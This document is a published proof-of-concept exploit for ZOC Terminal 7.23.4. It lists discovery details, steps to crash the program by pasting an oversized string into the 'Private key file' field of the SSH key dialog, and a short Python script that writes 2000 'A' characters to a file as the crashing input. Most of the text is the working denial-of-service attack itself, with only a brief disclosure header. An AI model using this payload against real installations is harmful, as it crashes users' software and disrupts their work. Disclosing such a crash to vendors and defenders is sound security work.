ZOC Terminal v7.23.4 - 'Private key file' Denial of Service (PoC)

#Exploit Title:  ZOC Terminal v7.23.4  - 'Private key file' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_pkf.py
#2.- Open zoc_pkf.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select File > Create SSH Key Files... 
#5.- Select "Private key file:" field erease and Paste ClipBoard 
#6.- Click on "Create public/private key files..."
#7.- Crashed

cod = "\x41" * 2000

f = open('zoc_pkf.txt', 'w')
f.write(cod)
f.close()